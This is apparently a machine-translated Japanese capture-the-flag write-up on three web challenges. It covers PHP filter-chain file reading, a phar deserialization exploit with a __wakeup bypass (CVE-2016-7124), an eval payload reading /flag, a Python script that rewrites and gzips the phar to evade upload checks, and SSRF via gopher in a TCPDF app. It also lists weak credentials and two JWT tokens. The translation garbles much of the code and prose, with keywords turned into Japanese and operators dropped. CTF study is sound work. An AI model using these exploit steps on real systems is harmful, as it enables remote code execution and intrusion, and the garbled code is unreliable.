1。 web
1。旗が消える
アクセス拒否
FakeIPプラグインフェイクIP
プロンプトファイルはnullです
ファイルパラメーターを追加してみてください
?file=index.php`プロンプト `ハックしないでください!
おそらくフィルターチェーン
参照記事:
https://www.cnblogs.com/linuxsec/articles/12684259.html
https://blog.csdn.net/yuanxu8877/article/details/127607264
Php: //filter/convert.iconvが成功することができます
/?file=php: //filter/convert.iconv.utf-16/resource=index.php
/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag
:010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。
バックアップファイルwww.tar.gzを見つけることができます
次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします
主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました
次のように、CSDNで同様の質問を見ることができます。
https://blog.csdn.net/m0_70819573/article/details/129506508
https://blog.csdn.net/2301_79708753/article/details/135873948
https://www.bilibili.com/read/cv21572905/
次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか?
次に、ファイルのアップロードと降下の組み合わせである可能性があります。
次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化(ファイルアップロード)
それ以外{
$ extensions=array( 'gif'、 'jpg'、 'png');
$ temp=exploit( '。'、$ _files ['file'] ['name']);
$ fileextension=end($ temp);
$ filesizecheck=$ _files ['file'] ['size'];
$ iSextensionAllowed=in_array($ fileextension、$ extensions)? True : False;
if($ filesizecheck $ isextensionAllowed){
$ filecontent=file_get_contents($ _ files ['file'] ['tmp_name']);
$ haltcompilercheck=strpos($ filecontent、 '__halt_compiler();');
if(getType($ haltCompilerCheck)==='Integer'){
echo 'phar';
uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER();」を含めることはできません。
そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。
クラスファイル{
public $ val1;
public $ val2;
public $ val3;
パブリック関数__construct(){
$ this-val1='val1';
$ this-val2='val2';
}
パブリック関数__destruct(){
if($ this-val1==='file' $ this-val2==='exists'){
if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){
eval($ this-val3);
} それ以外{
エコー「アクセス拒否」;
}
}
}
パブリック関数__access(){
$ var='アクセス拒否';
echo $ var;
}
public function __wakeup(){
$ this-val1='exists';
$ this-val2='file';
echo 'ファイルが存在します';
}
}
次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct()Magicメソッドには、コマンドを実行するために使用できるeval()関数があり、コマンド実行の脆弱性があります。 __destruct()メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。
次に、次のコードに
if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){
eval($ this-val3);
このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。
この正規表現を見てみましょう
/^\ s*system \ s*\(\ s*\ 'cat \ s+\/[^;]*\' \ s*\); \ s*$/:
/^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。
\ s*ゼロ以上のホワイトスペース文字を一致させます。
システムは、文字列内のシステムと一致します。
(および)左と右のブラケットに一致します。
\ s*ゼロ以上のホワイトスペース文字を一致させます。
'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で:
’単一の引用を一致させます。
猫は猫の弦に一致します。
\ s+ 1つ以上の空白文字を一致させます。
/slash /を一致させます。
[^;]ゼロ以上の非セミコロン文字を一致させます。
’単一の引用を一致させます。
\ s*ゼロ以上のホワイトスペース文字を一致させます。
;セミコロンを一致させます。
言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます( 'cat、その後のファイルパスが続き、その後'で終了します)。
したがって、$ val3の値を構築できます
System( 'cat /flag');
旗を取得するために
T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます(このVal3のコンテンツはこのパターンと一致し、評価します(このパターンと一致します、評価(this-val3)。
正規表現を視覚化https://wangwl.net/static/projects/visualregex/#
次に、これに注意を払う必要があります。WakeUp()Magic Methodをバイパスする必要があります。
public function __wakeup(){
$ this-val1='exists';
$ this-val2='file';
echo 'ファイルが存在します';
}
v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。
、したがって、覚醒()をバイパスする必要があります
つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は
PHP5 5.6.25
PHP7 7.0.10
そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます
次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります
アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents()での脱気からのトリガーをトリガーし、eval()コマンドを実行します。
PHARファイル生成コード:
?php
ini_set( 'phar.readonly'、 'off');
クラスファイル
{
public $ val1;
public $ val2;
public $ val3;
パブリック関数__construct()
{
$ this-val1='file';
$ this-val2='exists';
$ this-val3='System(' cat /flag ');';
}
}
$ a=new file();
$ phar=new Phar( 'aa3.phar');
$ phar-startbuffering();
$ phar-setstub( '?php __halt_compiler();');
$ phar-setmetadata($ a);
$ phar-addfromstring( 'test.txt'、 'test');
$ phar-stopbuffering();
php phar.php
コードを実行して、ファーファイルを生成します
010を通じて、Pharファイルの内容がシリアル化されていることがわかります
しかし、アップロードとアクセスのときにエラーが報告されます
警告: file_get_contents(phar: //./upload/fuck.jpg):はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。
ここには問題があります。 010でPhARファイルを変更してWakeUp()Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります
スクリプトで修正されたPHARは、データ、データ署名(20ビット)、および署名形式(8ビット)で構成されています。
gzipをインポートします
HashlibインポートSha1から
with open(r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb ')file:として
f=file.read()
s=f [:-28]#データに署名してください
S=S.Replace(B'3: {'、b'4: {')#属性値を交換し、バイパス__wakeup
H=F [-8:]#署名タイプとGBMBのIDを取得する
newf=s + sha1(s).digest() + h#data + signature +(type + gbmb)
#print(newf)
newf=gzip.compress(newf)#gzip pharファイルの圧縮
with open(r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb ')as file:#ファイルサフィックスを変更します
file.write(newf)
次に、PNG画像をアップロードします
phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。
file=phar: //./upload/fuck3.png
最後にフラグを取得します
フラグは次のとおりです。
669B01045DA0456EA2A2861CE57DD537
2.Unserialize_web
関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。
ソースコードをダウンロードして、tcpdf v6.3.2を参照してください
タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください
QINTERNALへのフォローアップ
はhttp://LocalHost:8082/``招待状にアクセスします
次に、pdf/internal.pyに移動します
app.run(host='127.0.0.1'、ポート=8082)、ローカル8082ポートにはPythonサービスが有効になっています
その後、ローカルのデバッグがここに来て、if('myjson ['vite'] in open( 'Invites.txt')。read()。
その後、Google検索「CTF」TCPDF招待状を検索します
検索
https://cloud.tencent.com/developer/article/2069757
https://r0.haxors.org/posts?id=15
https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント
参照:https://r0.haxors.org/posts?id=15
INVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
次に、イントラネットのSSRFを呼び出します
WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません
ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます
元の質問の比較
Gopherがリリースされていることがわかります
だから私はGopherだけで、長い間テストした後もテストしていません。
最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います
asmintest1を直接登録し、SSRFをチームメイトに再生します(Asmintest55)、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします
3.mypdf
0問題を解決しました。
2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します
admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L